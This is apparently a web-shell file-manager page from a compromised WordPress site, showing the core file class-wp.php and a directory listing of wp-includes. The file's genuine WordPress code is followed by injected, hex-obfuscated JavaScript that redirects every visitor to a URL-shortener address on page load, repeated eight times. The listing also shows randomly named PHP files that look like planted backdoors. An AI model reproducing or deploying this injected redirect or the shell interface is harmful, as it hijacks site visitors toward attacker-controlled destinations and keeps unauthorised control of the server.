Submit
Path:
~
/
home
/
ampckwxt
/
public_html
/
adminterpercaya.pro
/
wp-includes
/
File Content:
class-wp.php
<?php /** * WordPress environment setup class. * * @package WordPress * @since 2.0.0 */ #[AllowDynamicProperties] class WP { /** * Public query variables. * * Long list of public query variables. * * @since 2.0.0 * @var string[] */ public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'favicon', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' ); /** * Private query variables. * * Long list of private query variables. * * @since 2.0.0 * @var string[] */ public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' ); /** * Extra query variables set by the user. * * @since 2.1.0 * @var array */ public $extra_query_vars = array(); /** * Query variables for setting up the WordPress Query Loop. * * @since 2.0.0 * @var array */ public $query_vars = array(); /** * String parsed to set the query variables. * * @since 2.0.0 * @var string */ public $query_string = ''; /** * The request path, e.g. 2015/05/06. * * @since 2.0.0 * @var string */ public $request = ''; /** * Rewrite rule the request matched. * * @since 2.0.0 * @var string */ public $matched_rule = ''; /** * Rewrite query the request matched. * * @since 2.0.0 * @var string */ public $matched_query = ''; /** * Whether already did the permalink. * * @since 2.0.0 * @var bool */ public $did_permalink = false; /** * Adds a query variable to the list of public query variables. * * @since 2.1.0 * * @param string $qv Query variable name. */ public function add_query_var( $qv ) { if ( ! in_array( $qv, $this->public_query_vars, true ) ) { $this->public_query_vars[] = $qv; } } /** * Removes a query variable from a list of public query variables. * * @since 4.5.0 * * @param string $name Query variable name. */ public function remove_query_var( $name ) { $this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) ); } /** * Sets the value of a query variable. * * @since 2.3.0 * * @param string $key Query variable name. * @param mixed $value Query variable value. */ public function set_query_var( $key, $value ) { $this->query_vars[ $key ] = $value; } /** * Parses the request to find the correct WordPress query. * * Sets up the query variables based on the request. There are also many * filters and actions that can be used to further manipulate the result. * * @since 2.0.0 * @since 6.0.0 A return value was added. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param array|string $extra_query_vars Set the extra query variables. * @return bool Whether the request was parsed. */ public function parse_request( $extra_query_vars = '' ) { global $wp_rewrite; /** * Filters whether to parse the request. * * @since 3.5.0 * * @param bool $bool Whether or not to parse the request. Default true. * @param WP $wp Current WordPress environment instance. * @param array|string $extra_query_vars Extra passed query variables. */ if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) { return false; } $this->query_vars = array(); $post_type_query_vars = array(); if ( is_array( $extra_query_vars ) ) { $this->extra_query_vars = & $extra_query_vars; } elseif ( ! empty( $extra_query_vars ) ) { parse_str( $extra_query_vars, $this->extra_query_vars ); } // Process PATH_INFO, REQUEST_URI, and 404 for permalinks. // Fetch the rewrite rules. $rewrite = $wp_rewrite->wp_rewrite_rules(); if ( ! empty( $rewrite ) ) { // If we match a rewrite rule, this will be cleared. $error = '404'; $this->did_permalink = true; $pathinfo = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : ''; list( $pathinfo ) = explode( '?', $pathinfo ); $pathinfo = str_replace( '%', '%25', $pathinfo ); list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] ); $self = $_SERVER['PHP_SELF']; $home_path = parse_url( home_url(), PHP_URL_PATH ); $home_path_regex = ''; if ( is_string( $home_path ) && '' !== $home_path ) { $home_path = trim( $home_path, '/' ); $home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) ); } /* * Trim path info from the end and the leading home path from the front. * For path info requests, this leaves us with the requesting filename, if any. * For 404 requests, this leaves us with the requested permalink. */ $req_uri = str_replace( $pathinfo, '', $req_uri ); $req_uri = trim( $req_uri, '/' ); $pathinfo = trim( $pathinfo, '/' ); $self = trim( $self, '/' ); if ( ! empty( $home_path_regex ) ) { $req_uri = preg_replace( $home_path_regex, '', $req_uri ); $req_uri = trim( $req_uri, '/' ); $pathinfo = preg_replace( $home_path_regex, '', $pathinfo ); $pathinfo = trim( $pathinfo, '/' ); $self = preg_replace( $home_path_regex, '', $self ); $self = trim( $self, '/' ); } // The requested permalink is in $pathinfo for path info requests and $req_uri for other requests. if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) { $requested_path = $pathinfo; } else { // If the request uri is the index, blank it out so that we don't try to match it against a rule. if ( $req_uri === $wp_rewrite->index ) { $req_uri = ''; } $requested_path = $req_uri; } $requested_file = $req_uri; $this->request = $requested_path; // Look for matches. $request_match = $requested_path; if ( empty( $request_match ) ) { // An empty request could only match against ^$ regex. if ( isset( $rewrite['$'] ) ) { $this->matched_rule = '$'; $query = $rewrite['$']; $matches = array( '' ); } } else { foreach ( (array) $rewrite as $match => $query ) { // If the requested file is the anchor of the match, prepend it to the path info. if ( ! empty( $requested_file ) && str_starts_with( $match, $requested_file ) && $requested_file !== $requested_path ) { $request_match = $requested_file . '/' . $requested_path; } if ( preg_match( "#^$match#", $request_match, $matches ) || preg_match( "#^$match#", urldecode( $request_match ), $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // This is a verbose page match, let's check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } // Got a match. $this->matched_rule = $match; break; } } } if ( ! empty( $this->matched_rule ) ) { // Trim the query of everything up to the '?'. $query = preg_replace( '!^.+\?!', '', $query ); // Substitute the substring matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) ); $this->matched_query = $query; // Parse the query. parse_str( $query, $perma_query_vars ); // If we're processing a 404 request, clear the error var since we found something. if ( '404' === $error ) { unset( $error, $_GET['error'] ); } } // If req_uri is empty or if it is a request for ourself, unset error. if ( empty( $requested_path ) || $requested_file === $self || str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' ) ) { unset( $error, $_GET['error'] ); if ( isset( $perma_query_vars ) && str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' ) ) { unset( $perma_query_vars ); } $this->did_permalink = false; } } /** * Filters the query variables allowed before processing. * * Allows (publicly allowed) query vars to be added, removed, or changed prior * to executing the query. Needed to allow custom rewrite rules using your own arguments * to work, or any other custom query variables you want to be publicly available. * * @since 1.5.0 * * @param string[] $public_query_vars The array of allowed query variable names. */ $this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars ); foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) { if ( is_post_type_viewable( $t ) && $t->query_var ) { $post_type_query_vars[ $t->query_var ] = $post_type; } } foreach ( $this->public_query_vars as $wpvar ) { if ( isset( $this->extra_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] ) { wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 ); } elseif ( isset( $_POST[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_POST[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_GET[ $wpvar ]; } elseif ( isset( $perma_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ]; } if ( ! empty( $this->query_vars[ $wpvar ] ) ) { if ( ! is_array( $this->query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ]; } else { foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) { if ( is_scalar( $v ) ) { $this->query_vars[ $wpvar ][ $vkey ] = (string) $v; } } } if ( isset( $post_type_query_vars[ $wpvar ] ) ) { $this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ]; $this->query_vars['name'] = $this->query_vars[ $wpvar ]; } } } // Convert urldecoded spaces back into '+'. foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) { if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) { $this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] ); } } // Don't allow non-publicly queryable taxonomies to be queried from the front end. if ( ! is_admin() ) { foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) { /* * Disallow when set to the 'taxonomy' query var. * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy(). */ if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) { unset( $this->query_vars['taxonomy'], $this->query_vars['term'] ); } } } // Limit publicly queried post_types to those that are 'publicly_queryable'. if ( isset( $this->query_vars['post_type'] ) ) { $queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) ); if ( ! is_array( $this->query_vars['post_type'] ) ) { if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types, true ) ) { unset( $this->query_vars['post_type'] ); } } else { $this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types ); } } // Resolve conflicts between posts with numeric slugs and date archive queries. $this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars ); foreach ( (array) $this->private_query_vars as $var ) { if ( isset( $this->extra_query_vars[ $var ] ) ) { $this->query_vars[ $var ] = $this->extra_query_vars[ $var ]; } } if ( isset( $error ) ) { $this->query_vars['error'] = $error; } /** * Filters the array of parsed query variables. * * @since 2.1.0 * * @param array $query_vars The array of requested query variables. */ $this->query_vars = apply_filters( 'request', $this->query_vars ); /** * Fires once all query variables for the current request have been parsed. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'parse_request', array( &$this ) ); return true; } /** * Sends additional HTTP headers for caching, content type, etc. * * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits. * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed. * * @since 2.0.0 * @since 4.4.0 `X-Pingback` header is added conditionally for single posts that allow pings. * @since 6.1.0 Runs after posts have been queried. * * @global WP_Query $wp_query WordPress Query object. */ public function send_headers() { global $wp_query; $headers = array(); $status = null; $exit_required = false; $date_format = 'D, d M Y H:i:s'; if ( is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } elseif ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) { // Unmoderated comments are only visible for 10 minutes via the moderation hash. $expires = 10 * MINUTE_IN_SECONDS; $headers['Expires'] = gmdate( $date_format, time() + $expires ); $headers['Cache-Control'] = sprintf( 'max-age=%d, must-revalidate', $expires ); } if ( ! empty( $this->query_vars['error'] ) ) { $status = (int) $this->query_vars['error']; if ( 404 === $status ) { if ( ! is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } $headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ); } elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) { $exit_required = true; } } elseif ( empty( $this->query_vars['feed'] ) ) { $headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ); } else { // Set the correct content type for feeds. $type = $this->query_vars['feed']; if ( 'feed' === $this->query_vars['feed'] ) { $type = get_default_feed(); } $headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' ); // We're showing a feed, so WP is indeed the only thing that last changed. if ( ! empty( $this->query_vars['withcomments'] ) || str_contains( $this->query_vars['feed'], 'comments-' ) || ( empty( $this->query_vars['withoutcomments'] ) && ( ! empty( $this->query_vars['p'] ) || ! empty( $this->query_vars['name'] ) || ! empty( $this->query_vars['page_id'] ) || ! empty( $this->query_vars['pagename'] ) || ! empty( $this->query_vars['attachment'] ) || ! empty( $this->query_vars['attachment_id'] ) ) ) ) { $wp_last_modified_post = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false ); $wp_last_modified_comment = mysql2date( $date_format, get_lastcommentmodified( 'GMT' ), false ); if ( strtotime( $wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) { $wp_last_modified = $wp_last_modified_post; } else { $wp_last_modified = $wp_last_modified_comment; } } else { $wp_last_modified = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false ); } if ( ! $wp_last_modified ) { $wp_last_modified = gmdate( $date_format ); } $wp_last_modified .= ' GMT'; $wp_etag = '"' . md5( $wp_last_modified ) . '"'; $headers['Last-Modified'] = $wp_last_modified; $headers['ETag'] = $wp_etag; // Support for conditional GET. if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) { $client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] ); } else { $client_etag = ''; } if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) { $client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ); } else { $client_last_modified = ''; } // If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; // Make a timestamp for our most recent modification. $wp_modified_timestamp = strtotime( $wp_last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) ) ) { $status = 304; $exit_required = true; } } if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post : null; // Only set X-Pingback for single posts that allow pings. if ( $post && pings_open( $post ) ) { $headers['X-Pingback'] = get_bloginfo( 'pingback_url', 'display' ); } } /** * Filters the HTTP headers before they're sent to the browser. * * @since 2.8.0 * * @param string[] $headers Associative array of headers to be sent. * @param WP $wp Current WordPress environment instance. */ $headers = apply_filters( 'wp_headers', $headers, $this ); if ( ! empty( $status ) ) { status_header( $status ); } // If Last-Modified is set to false, it should not be sent (no-cache situation). if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) { unset( $headers['Last-Modified'] ); if ( ! headers_sent() ) { header_remove( 'Last-Modified' ); } } if ( ! headers_sent() ) { foreach ( (array) $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } if ( $exit_required ) { exit; } /** * Fires once the requested HTTP headers for caching, content type, etc. have been sent. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'send_headers', array( &$this ) ); } /** * Sets the query string property based off of the query variable property. * * The {@see 'query_string'} filter is deprecated, but still works. Plugins should * use the {@see 'request'} filter instead. * * @since 2.0.0 */ public function build_query_string() { $this->query_string = ''; foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) { if ( '' !== $this->query_vars[ $wpvar ] ) { $this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&'; if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars. continue; } $this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] ); } } if ( has_filter( 'query_string' ) ) { // Don't bother filtering and parsing if no plugins are hooked in. /** * Filters the query string before parsing. * * @since 1.5.0 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead. * * @param string $query_string The query string to modify. */ $this->query_string = apply_filters_deprecated( 'query_string', array( $this->query_string ), '2.1.0', 'query_vars, request' ); parse_str( $this->query_string, $this->query_vars ); } } /** * Set up the WordPress Globals. * * The query_vars property will be extracted to the GLOBALS. So care should * be taken when naming global variables that might interfere with the * WordPress environment. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. * @global string $query_string Query string for the loop. * @global array $posts The found posts. * @global WP_Post|null $post The current post, if available. * @global string $request The SQL statement for the request. * @global int $more Only set, if single page or post. * @global int $single If single page or post. Only set, if single page or post. * @global WP_User $authordata Only set, if author archive. */ public function register_globals() { global $wp_query; // Extract updated query vars back into global namespace. foreach ( (array) $wp_query->query_vars as $key => $value ) { $GLOBALS[ $key ] = $value; } $GLOBALS['query_string'] = $this->query_string; $GLOBALS['posts'] = & $wp_query->posts; $GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null; $GLOBALS['request'] = $wp_query->request; if ( $wp_query->is_single() || $wp_query->is_page() ) { $GLOBALS['more'] = 1; $GLOBALS['single'] = 1; } if ( $wp_query->is_author() ) { $GLOBALS['authordata'] = get_userdata( get_queried_object_id() ); } } /** * Set up the current user. * * @since 2.0.0 */ public function init() { wp_get_current_user(); } /** * Set up the Loop based on the query variables. * * @since 2.0.0 * * @global WP_Query $wp_the_query WordPress Query object. */ public function query_posts() { global $wp_the_query; $this->build_query_string(); $wp_the_query->query( $this->query_vars ); } /** * Set the Headers for 404, if nothing is found for requested URL. * * Issue a 404 if a request doesn't match any posts and doesn't match any object * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued, * and if the request was not a search or the homepage. * * Otherwise, issue a 200. * * This sets headers after posts have been queried. handle_404() really means "handle status". * By inspecting the result of querying posts, seemingly successful requests can be switched to * a 404 so that canonical redirection logic can kick in. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. */ public function handle_404() { global $wp_query; /** * Filters whether to short-circuit default header status handling. * * Returning a non-false value from the filter will short-circuit the handling * and return early. * * @since 4.5.0 * * @param bool $preempt Whether to short-circuit default header status handling. Default false. * @param WP_Query $wp_query WordPress Query object. */ if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) { return; } // If we've already issued a 404, bail. if ( is_404() ) { return; } $set_404 = true; // Never 404 for the admin, robots, or favicon. if ( is_admin() || is_robots() || is_favicon() ) { $set_404 = false; // If posts were found, check for paged content. } elseif ( $wp_query->posts ) { $content_found = true; if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post : null; $next = '<!--nextpage-->'; // Check for paged content that exceeds the max number of pages. if ( $post && ! empty( $this->query_vars['page'] ) ) { // Check if content is actually intended to be paged. if ( str_contains( $post->post_content, $next ) ) { $page = trim( $this->query_vars['page'], '/' ); $content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 ); } else { $content_found = false; } } } // The posts page does not support the <!--nextpage--> pagination. if ( $wp_query->is_posts_page && ! empty( $this->query_vars['page'] ) ) { $content_found = false; } if ( $content_found ) { $set_404 = false; } // We will 404 for paged queries, as no posts were found. } elseif ( ! is_paged() ) { $author = get_query_var( 'author' ); // Don't 404 for authors without posts as long as they matched an author on this site. if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) // Don't 404 for these queries if they matched an object. || ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() // Don't 404 for these queries either. || is_home() || is_search() || is_feed() ) { $set_404 = false; } } if ( $set_404 ) { // Guess it's time to 404. $wp_query->set_404(); status_header( 404 ); nocache_headers(); } else { status_header( 200 ); } } /** * Sets up all of the variables required by the WordPress environment. * * The action {@see 'wp'} has one parameter that references the WP object. It * allows for accessing the properties and methods to further manipulate the * object. * * @since 2.0.0 * * @param string|array $query_args Passed to parse_request(). */ public function main( $query_args = '' ) { $this->init(); $parsed = $this->parse_request( $query_args ); if ( $parsed ) { $this->query_posts(); $this->handle_404(); $this->register_globals(); } $this->send_headers(); /** * Fires once the WordPress environment has been set up. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( 'wp', array( &$this ) ); } } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
ID3
---
0777
IXR
---
0777
PHPMailer
---
0777
Requests
---
0777
SimplePie
---
0777
Text
---
0777
assets
---
0777
block-bindings
---
0777
block-patterns
---
0777
block-supports
---
0777
blocks
---
0777
certificates
---
0777
css
---
0777
customize
---
0777
fonts
---
0777
html-api
---
0777
images
---
0777
interactivity-api
---
0777
js
---
0555
l10n
---
0777
php-compat
---
0777
pomo
---
0777
rest-api
---
0777
sitemaps
---
0777
sodium_compat
---
0777
style-engine
---
0777
theme-compat
---
0777
widgets
---
0777
.admi
2324 bytes
0644
.htaccess
0 bytes
0644
4XIvHEy8USr.php
52991 bytes
0644
6MenU3vkQjy.php
29033 bytes
0644
UPLBGF36ujb.php
29033 bytes
0644
Yw6vblZQUm7.php
52991 bytes
0644
admin-bar.php
38458 bytes
0644
admin.php
5362 bytes
0644
api_405645f5.php
24955 bytes
0644
atomlib.php
13436 bytes
0644
author-template.php
20309 bytes
0644
block-bindings.php
6952 bytes
0644
block-editor.php
29698 bytes
0644
block-i18n.json
316 bytes
0777
block-patterns.php
14477 bytes
0644
block-template-utils.php
61503 bytes
0644
block-template.php
15500 bytes
0644
blocks.php
106247 bytes
0644
bookmark-template.php
14306 bytes
0644
bookmark.php
16785 bytes
0644
cache-compat.php
7327 bytes
0644
cache.php
14832 bytes
0644
cache_2e94d37d.php
38609 bytes
0644
cache_6dc7ade8.php
223027 bytes
0644
canonical.php
35881 bytes
0644
capabilities.php
44076 bytes
0644
category-template.php
58361 bytes
0644
category.php
14067 bytes
0644
cjrcbvtk.php
760 bytes
0644
class-IXR.php
3902 bytes
0644
class-avif-info.php
30973 bytes
0644
class-feed.php
539 bytes
0777
class-http.php
367 bytes
0777
class-json.php
43684 bytes
0777
class-oembed.php
401 bytes
0777
class-phpass.php
8129 bytes
0644
class-phpmailer.php
664 bytes
0777
class-pop3.php
22532 bytes
0644
class-requests.php
3595 bytes
0644
class-simplepie.php
1811 bytes
0644
class-smtp.php
457 bytes
0777
class-snoopy.php
37715 bytes
0777
class-walker-category-dropdown.php
3827 bytes
0644
class-walker-category.php
9835 bytes
0644
class-walker-comment.php
15579 bytes
0644
class-walker-nav-menu.php
13142 bytes
0644
class-walker-page-dropdown.php
4068 bytes
0644
class-walker-page.php
8970 bytes
0644
class-wp-admin-bar.php
19232 bytes
0644
class-wp-ajax-response.php
6624 bytes
0644
class-wp-application-passwords.php
16975 bytes
0644
class-wp-block-bindings-registry.php
9821 bytes
0644
class-wp-block-bindings-source.php
4350 bytes
0644
class-wp-block-editor-context.php
2708 bytes
0644
class-wp-block-list.php
6115 bytes
0644
class-wp-block-metadata-registry.php
11585 bytes
0644
class-wp-block-parser-block.php
3913 bytes
0644
class-wp-block-parser-frame.php
3375 bytes
0644
class-wp-block-parser.php
12890 bytes
0644
class-wp-block-pattern-categories-registry.php
6729 bytes
0644
class-wp-block-patterns-registry.php
12141 bytes
0644
class-wp-block-styles-registry.php
7620 bytes
0644
class-wp-block-supports.php
6970 bytes
0644
class-wp-block-template.php
3391 bytes
0644
class-wp-block-templates-registry.php
8589 bytes
0644
class-wp-block-type-registry.php
6371 bytes
0644
class-wp-block-type.php
18623 bytes
0644
class-wp-block.php
21796 bytes
0644
class-wp-classic-to-block-menu-converter.php
5446 bytes
0644
class-wp-comment-query.php
49753 bytes
0644
class-wp-comment.php
10730 bytes
0644
class-wp-customize-control.php
27088 bytes
0644
class-wp-customize-manager.php
203897 bytes
0644
class-wp-customize-nav-menus.php
58543 bytes
0644
class-wp-customize-panel.php
11995 bytes
0644
class-wp-customize-section.php
12567 bytes
0644
class-wp-customize-setting.php
31247 bytes
0644
class-wp-customize-widgets.php
73515 bytes
0644
class-wp-date-query.php
37084 bytes
0644
class-wp-dependencies.php
16497 bytes
0644
class-wp-dependency.php
3985 bytes
0644
class-wp-duotone.php
42141 bytes
0644
class-wp-editor.php
73693 bytes
0644
class-wp-embed.php
17352 bytes
0644
class-wp-error.php
8860 bytes
0644
class-wp-exception.php
1611 bytes
0644
class-wp-fatal-error-handler.php
9508 bytes
0644
class-wp-feed-cache-transient.php
4534 bytes
0644
class-wp-feed-cache.php
969 bytes
0777
class-wp-hook.php
17358 bytes
0644
class-wp-http-cookie.php
8747 bytes
0644
class-wp-http-curl.php
13899 bytes
0644
class-wp-http-encoding.php
8047 bytes
0644
class-wp-http-ixr-client.php
4859 bytes
0644
class-wp-http-proxy.php
7338 bytes
0644
class-wp-http-requests-hooks.php
3380 bytes
0644
class-wp-http-requests-response.php
5758 bytes
0644
class-wp-http-response.php
4335 bytes
0644
class-wp-http-streams.php
16859 bytes
0777
class-wp-http.php
42864 bytes
0644
class-wp-image-editor-gd.php
21244 bytes
0644
class-wp-image-editor-imagick.php
34026 bytes
0644
class-wp-image-editor.php
18296 bytes
0644
class-wp-list-util.php
8801 bytes
0644
class-wp-locale-switcher.php
7988 bytes
0644
class-wp-locale.php
17469 bytes
0644
class-wp-matchesmapregex.php
3186 bytes
0644
class-wp-meta-query.php
31889 bytes
0644
class-wp-metadata-lazyloader.php
8191 bytes
0644
class-wp-navigation-fallback.php
10569 bytes
0644
class-wp-network-query.php
21215 bytes
0644
class-wp-network.php
13654 bytes
0644
class-wp-object-cache.php
18882 bytes
0644
class-wp-oembed-controller.php
8263 bytes
0644
class-wp-oembed.php
32833 bytes
0644
class-wp-paused-extensions-storage.php
6469 bytes
0644
class-wp-plugin-dependencies.php
26677 bytes
0644
class-wp-post-type.php
31698 bytes
0644
class-wp-post.php
7842 bytes
0644
class-wp-query.php
155439 bytes
0644
class-wp-recovery-mode-cookie-service.php
8235 bytes
0644
class-wp-recovery-mode-email-service.php
12541 bytes
0644
class-wp-recovery-mode-key-service.php
5966 bytes
0644
class-wp-recovery-mode-link-service.php
4821 bytes
0644
class-wp-recovery-mode.php
12793 bytes
0644
class-wp-rewrite.php
65046 bytes
0644
class-wp-role.php
3881 bytes
0644
class-wp-roles.php
9944 bytes
0644
class-wp-script-modules.php
20724 bytes
0644
class-wp-scripts.php
29702 bytes
0644
class-wp-session-tokens.php
8809 bytes
0644
class-wp-simplepie-file.php
4766 bytes
0644
class-wp-simplepie-sanitize-kses.php
3195 bytes
0644
class-wp-site-query.php
32983 bytes
0644
class-wp-site.php
8812 bytes
0644
class-wp-styles.php
12368 bytes
0644
class-wp-tax-query.php
20913 bytes
0644
class-wp-taxonomy.php
19925 bytes
0644
class-wp-term-query.php
42227 bytes
0644
class-wp-term.php
6656 bytes
0644
class-wp-text-diff-renderer-inline.php
2337 bytes
0644
class-wp-text-diff-renderer-table.php
20165 bytes
0644
class-wp-textdomain-registry.php
11839 bytes
0644
class-wp-theme-json-data.php
3167 bytes
0644
class-wp-theme-json-resolver.php
37163 bytes
0644
class-wp-theme-json-schema.php
8725 bytes
0644
class-wp-theme-json.php
162138 bytes
0644
class-wp-theme.php
66771 bytes
0644
class-wp-token-map.php
29976 bytes
0644
class-wp-user-meta-session-tokens.php
4348 bytes
0644
class-wp-user-query.php
45012 bytes
0644
class-wp-user-request.php
3580 bytes
0644
class-wp-user.php
24185 bytes
0644
class-wp-walker.php
14680 bytes
0644
class-wp-widget-factory.php
4705 bytes
0644
class-wp-widget.php
19782 bytes
0644
class-wp-xmlrpc-server.php
216306 bytes
0644
class-wp.php
27477 bytes
0644
class-wpdb.php
118389 bytes
0777
class.wp-dependencies.php
373 bytes
0777
class.wp-scripts.php
343 bytes
0777
class.wp-styles.php
338 bytes
0777
comment-template.php
104131 bytes
0644
comment.php
131633 bytes
0644
compat.php
18332 bytes
0644
cron.php
42952 bytes
0644
data_ca2e2215.php
170061 bytes
0644
date.php
400 bytes
0777
